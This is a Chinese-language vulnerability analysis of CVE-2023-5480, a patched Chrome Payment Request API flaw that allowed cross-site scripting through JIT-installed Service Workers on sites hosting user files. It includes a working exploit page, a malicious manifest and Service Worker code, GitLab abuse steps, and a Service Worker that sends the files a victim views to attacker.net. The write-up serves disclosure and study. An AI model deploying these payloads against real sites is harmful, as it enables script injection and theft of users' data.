1 前言
本文聚焦于去年年底在 Google Chrome 浏览器中发现的一个漏洞,该漏洞持续了很长一段时间,于2023年10月31日得到解决,谷歌对其估价为16,000美元。
文中首先将描述 Web 开发中使用的一系列现代技术,这对于了解本文中提及的漏洞十分重要。
2 Service Worker
首先我将讨论我最喜欢的技术之一 - Service Worker。该工具充当浏览器和网络之间的一种代理,它能够全面控制从网站发出的所有传出请求,并管理缓存。
工作流程如下:
1.在网站的页面上,注册 Service Worker:
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/service-worker.js')
.then(function(registration) {
console.log('Service Worker registration successful with scope: ', registration.scope);
})
.catch(function(error) {
console.log('Service Worker registration failed: ', error);
});
}
2.简单的 Service Worker 示例:
self.addEventListener('fetch', function(event) {
event.respondWith(function_that_returnedResponse());
因此,无论是图像请求还是来自 JavaScript 的获取请求,都将通过 Service Worker 进行路由,请求的结果将由预先注册的处理程序返回。
这确实是 Web 开发中的一个强大工具(可以访问此处并查看当前在浏览器中使用的许多 Service Worker)。
然而,除了其有效性之外,这项技术也带来了一系列挑战。Web 应用程序(甚至浏览器)中的许多架构决策有时是在没有考虑此技术的情况下做出的,这可能导致漏洞的出现。
3 PWA
渐进式网络应用(PWA) 是一种允许在用户设备上模拟网站安装的技术。它旨在通过尽可能绕过开发本机应用程序的需要来简化开发人员的任务。
PWA 与 Service Worker 密切相关,通过实现“离线模式”功能,使用户能够在没有互联网连接的情况下使用网站功能。
为了注册 PWA,开发了 Web App Manifest 标准。简单来说,它是一个特定的JSON文件,其基本结构如下:
{
"short_name": "My App",
"name": "My App",
"icons": [{
"src": "https://www.myapp.example/icon.svg"
}],
"start_url": ".",
"display": "standalone",
"background_color": "#fff",
"description": "Slonser example",
}
该文件包含应用程序的基本数据。当首次访问PWA时,页面会使用类似于前文所述的脚本来加载Service Worker。
4 付款方式
如果阅读规范,可以看到:
This specification describes an API that allows user agents (e.g., browsers) to act as an intermediary between three parties in a transaction:
The payee: the merchant that runs an online store, or other party that requests to be paid. The payer: the party that makes a purchase at that online store, and who authenticates and authorizes payment as required.
The payment method: the means that the payer uses to pay the payee (e.g., a card payment or credit transfer). The payment method provider establishes the ecosystem to support that payment method.
看了上面的信息,我简单举个例子来说明一下:
这也适用于基于 Chromium 的浏览器的桌面版本:
这里发生的情况是:
-
用户访问向他们提供帐单的网站。
-
该网站使用付款请求 API 联系外部资源。
-
用户会看到一个包含外部资源的弹出窗口。
-
该资源处理用户的付款并将有关交易的信息返回到原始资源。
在代码中,大致如下所示:
function buildSupportedPaymentMethodData() {
// Example supported payment methods:
return [{ supportedMethods: "https://example.com/pay" }];
}
function buildShoppingCartDetails() {
// Hardcoded for demo purposes:
return {
id: "order-123",
displayItems: [
{
label: "Example item",
amount: { currency: "USD", value: "1.00" },
},
],
total: {
label: "Total",
amount: { currency: "USD", value: "1.00" },
},
};
}
new PaymentRequest(buildSupportedPaymentMethodData(), {
total: { label: "Stub", amount: { currency: "USD", value: "0.01" } },
})
.canMakePayment()
.then((result) => {
if (result) {
// Real payment request
const request = new PaymentRequest(
buildSupportedPaymentMethodData(),
checkoutObject,
);
request.show().then((paymentResponse) => {
// Here we would process the payment.
paymentResponse.complete("success").then(() => {
// Finish handling payment
});
});
}
});
因此,从客户端来看,我们:
-
创建一个 PaymentRequest 对象。
-
将付款处理程序的 URL 和购买详细信息传递给它。
-
调用 show 方法并处理带有结果/错误的 Promise。
现在,付款处理程序应该做什么?
-
沿着提供的链接,它应该返回链接标头。
Link: <https://bobbucks.dev/pay/payment-manifest.json>; rel="payment-method-manifest"
值得注意的是,根据 RFC5988,rel=“ payment-method-manifest”
不存在。它只会在 Payments API 请求中进行处理,并且其解析与主实现隔离。
-
客户端将点击之前提供的链接并将其内容解释为付款清单,例如:
{
"default_applications": ["https://alicepay.com/pay/app/webappmanifest.json"],
"supported_origins": [
"https://bobpay.xyz",
"https://alicepay.friendsofalice.example"
]
}
在这里,default_applications
指向即将安装的 Web 应用清单,而 supported_origins
相应地指示支持的域。
5 JIT
如前所述,支付应用程序应利用最初为简单 PWA 创建的 Web 应用程序清单。
然而,网络标准开发人员面临着在网站和支付应用程序之间建立通信的挑战。为了解决这个问题,做出了利用Service Worker的有争议的决定。为了实现这一目标,他们向现有的worker概念添加了新的事件处理程序。
self.addEventListener('paymentrequest', async e => {
//...
});
然而,这里出现了一个问题:在初始调用期间,支付应用程序不包含Service Worker(因为它仅在第一页加载后注册),这会破坏逻辑。
这可以通过另一种方式解决——JIT 的安装。为此,扩展了Web应用清单规范。现在,如果用于支付应用程序,则必须包含“service worker”字段以及指定的工作人员进行注册。
"serviceworker": {
"src": "/download/sw-slonser.js",
"use_cache": false,
"scope":"/download/"
}
因此,在启动Payment App之前,它会在指定路径下载并安装Service Worker。
6 漏洞是什么时候出现的?
Payment Request在2018年4月在Chromium中实现。最初无法利用稍后将描述的漏洞。
通过阅读Chromium的源代码,发现清单请求实际上是这样实现的:
headers->GetNormalizedHeader("link", &link_header);
if (link_header.empty()) {
// Fallback to HTTP GET when HTTP HEAD response does not contain a Link
// header.
FallbackToDownloadingResponseBody(final_url, std::move(download));
return;
}
因此,请求的逻辑遵循以下算法:
-
首先,它使用
rel=“pay-method-manifest”
检查Link标头。 -
如果存在,我们将加载此内容,替换指定的 URL。
-
否则,我们只使用指定 URL 的内容。
事实上,一项简短的调查显示,2019 年 12 月 18 日,有关支付请求实现的问题已提交给Chromium:
规范( method-manifest/#accessing)要求除了寻找“Link”之外,还允许通过 URL 直接访问,“机器可读的支付方式清单可能可以直接在支付方式标识符 URL 上找到……”。
换句话说,有人指出,根据标准,我们可以通过链接和Link标头同时传输付款清单。
Chromium安全团队积极参与了此请求,并批准了相关更改。2020年3月,修复程序在Chrome/Chromium的分支中可用。
7 漏洞
前述情况描述的变化导致了漏洞的出现。
事实上,我们面临一个独特的情况,即只有在严格遵守Web标准时才会出现漏洞。许多网站都实现了下载用户文件的功能,即具有以下功能:
https://example.com/download?file=filename
https://example.com/download/filename
...
此类功能不应造成直接的安全风险,因为 Header 已设置:
Content-Disposition: attachment
这样,传输的文件将被直接加载,因为不可能将HTML代码文件交付给用户进行渲染,防止了XSS类攻击的可能性。
考虑到Payments API开始考虑请求正文中的文件,我们只需将文件上传到目标资源:payment-manifest。
{
"default_applications": ["https://example.com/download/manifest.js"],
"supported_origins": ["https://attacker.net"]
}
清单.js:
{
"name": "PWNED",
"short_name": "PWNED",
"icons": [{
"src": "/download/logo.jpg",
"sizes": "49x49",
"type": "image/jpeg"
}],
"serviceworker": {
"src": "/download/sw-slonser.js",
"use_cache": false,
"scope":"/download/"
},
"start_url":"/download/index.html"
}
logo.jpg:
* JPEG *
乍一看,因为我们要处理来自付款的响应,它似乎不太有用。但在这里,值得回顾一下我们的网站和支付应用程序之间的通信是如何通过Service Workers实现的。
我们可以在Payments中指定一个Service Worker,正如我之前提到的,它只是一个普通的Service Worker,并为其提供了额外的事件。因此,可以直接使用Service Worker的标准功能。
self.addEventListener("fetch", (event) => {
console.log(`Handling fetch event for ${event.request.url}`);
let blob = new Blob(["<script>alert('pwned by Slonser')</script>"],{type:"text/html"});
event.respondWith(new Response(blob));
});
该脚本拦截所有网络请求并以 HTML 响应:
<script>alert('pwned by Slonser')</script>
在这之后,攻击者只需将受害者重定向到他们的域,其中托管以下代码:
attack.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Vsevolod Kokorin (Slonser) of Solidlab</title>
</head>
<body>
<button onclick="exploit()">EXPLOIT</button>
<script>
function exploit(){
const BASE = "https://example.com/download" // PATH TO DOWNLOAD SCOPE
const fileName = 'payment-manifest.js' // Name of payment manifest
const request = new PaymentRequest(
[{ supportedMethods: `${BASE}/${fileName}` }],
{
id: "order-123",
total: {
label: "Total",
amount: { currency: "USD", value: "1.00" },
}
}
);
request.show().then((paymentResponse) => {
paymentResponse.complete("success").then(() => {
});
}).catch((e) => {
document.location = `${BASE}/C4T BuT S4D`;
});
}
</script>
</body>
</html>
该脚本执行完成后,受害者将被重定向到目标域,其中注册的 Service Worker 将拦截请求(因为 JIT 安装后,它不会被卸载)。因此,我们在指定域上获得了 XSS。
我提交给 Google 的视频中,通过 Yandex S3 页面在 ngrok 子域上实现了 XSS:
8 真实攻击示例
在一次简短的调查中,我发现许多资源正在受到这种攻击的利用。因此找到了一个很好的例子来演示这种攻击及其局限性——Gitlab。目前,在服务的最新版本上无法复现这个漏洞,但在一年前是可以利用的。
作为一个例子,我将演示在一年前的Gitlab上利用此漏洞进行 XSS 攻击:
-
使用 CI/CD 或现有的运行程序创建 GitLab 存储库。
-
将 CI 配置添加到其中,这将创建一个包含必要文件的工件
在其中,从我控制的资源中下载存档并解压数据。
-
验证数据确实可以在工件页面上访问。
-
现在可以使用以下链接直接下载数据文件:https://5604-185-219-81-55.ngrok-free.app/root/test/-/jobs/13/artifacts/raw/payment-manifest.js
其中test
是存储库标识符,13
是工件编号
-
将此链接插入到上一节中提供的利用页面中,并将其放置在我们控制下的资源上。
-
我们使用 GitLab 在域上执行 JavaScript 代码。
目前,这种攻击方法已失效,因为GitLab返回带有Content-Type: text/plain
的工件。如果返回的内容中包含Content-Type: text/javascript
,则会绕过CSP规则script-src: self
。Service Worker的注册会检查有效的JavaScript Mime-Type的Content-Type。
因此,任何实现文件上传/下载功能而不重写文件的常规Mime-Type的资源都容易受到攻击。
9 S3 buckets
另一个的例子是 S3 buckets。
Amazon S3(简单存储服务)是亚马逊网络服务(AWS)提供的云存储服务。S3 buckets是用于在Amazon S3中存储文件或数据对象的容器。
默认情况下,S3 buckets在下载期间根据文件扩展名公开Mime类型。一般来说,在具有S3 bucket的域上注册Service Worker:
async function handleRequest(event) {
const attacker_url = "https://attacker.net?e=";
let response = await fetch(event.request.url)
let response_copy = response.clone();
let sniffed_data = {url: event.request.url, data: await response.text()}
fetch(
attacker_url,
{
body: JSON.stringify(sniffed_data),
mode: 'no-cors',
method: 'POST'
}
)
return new Response(await response_copy.blob(),{status:200})
}
self.addEventListener("fetch",async (event) => {
event.respondWith(handleRequest(event));
});
该 Service Worker 会将用户打开的所有文件复制到攻击者的服务器。
10 与谷歌之间的沟通
很多人会对我与 Google 沟通的时间顺序感兴趣,主要过程如下:
-
2023年10月13日,我发现了这个缺陷
-
2023年10月14日,发送了一条消息,描述了Chrome VRP中的一个缺陷
-
2023年10月17日,谷歌开始验证相关问题
-
10月18日,该问题得到彻底解决,并被标识为高危
-
10月19日发布补丁
-
10 月 26 日,Google 将发现估价为 16,000 美元(15,000 美元用于漏洞本身,1,000 美元用于识别出现漏洞的版本)
-
10月31日,Chrome 119发布,修复了该缺陷。并分配编号 ID: CVE-2023-5480
11 结果
从这个过程可以得出几个结论:
-
即使在Web标准层面,也可能存在漏洞
-
现代浏览器实现了许多实验性的 Web API
-
这个漏洞在公共领域存在了 3 年,但他们无法修复。同时,它的使用也非常简单(与 Chromium 中的其他漏洞不同,这些漏洞通常是二进制的)
-
如果开发人员没有将新功能添加到现成的概念中,就不会出现这个漏洞。
来源:【CVE-2023-5480:Chrome 跨站脚本攻击分析 (seebug.org)】
原文始发于微信公众号(船山信安):CVE-2023-5480:Chrome 跨站脚本攻击分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论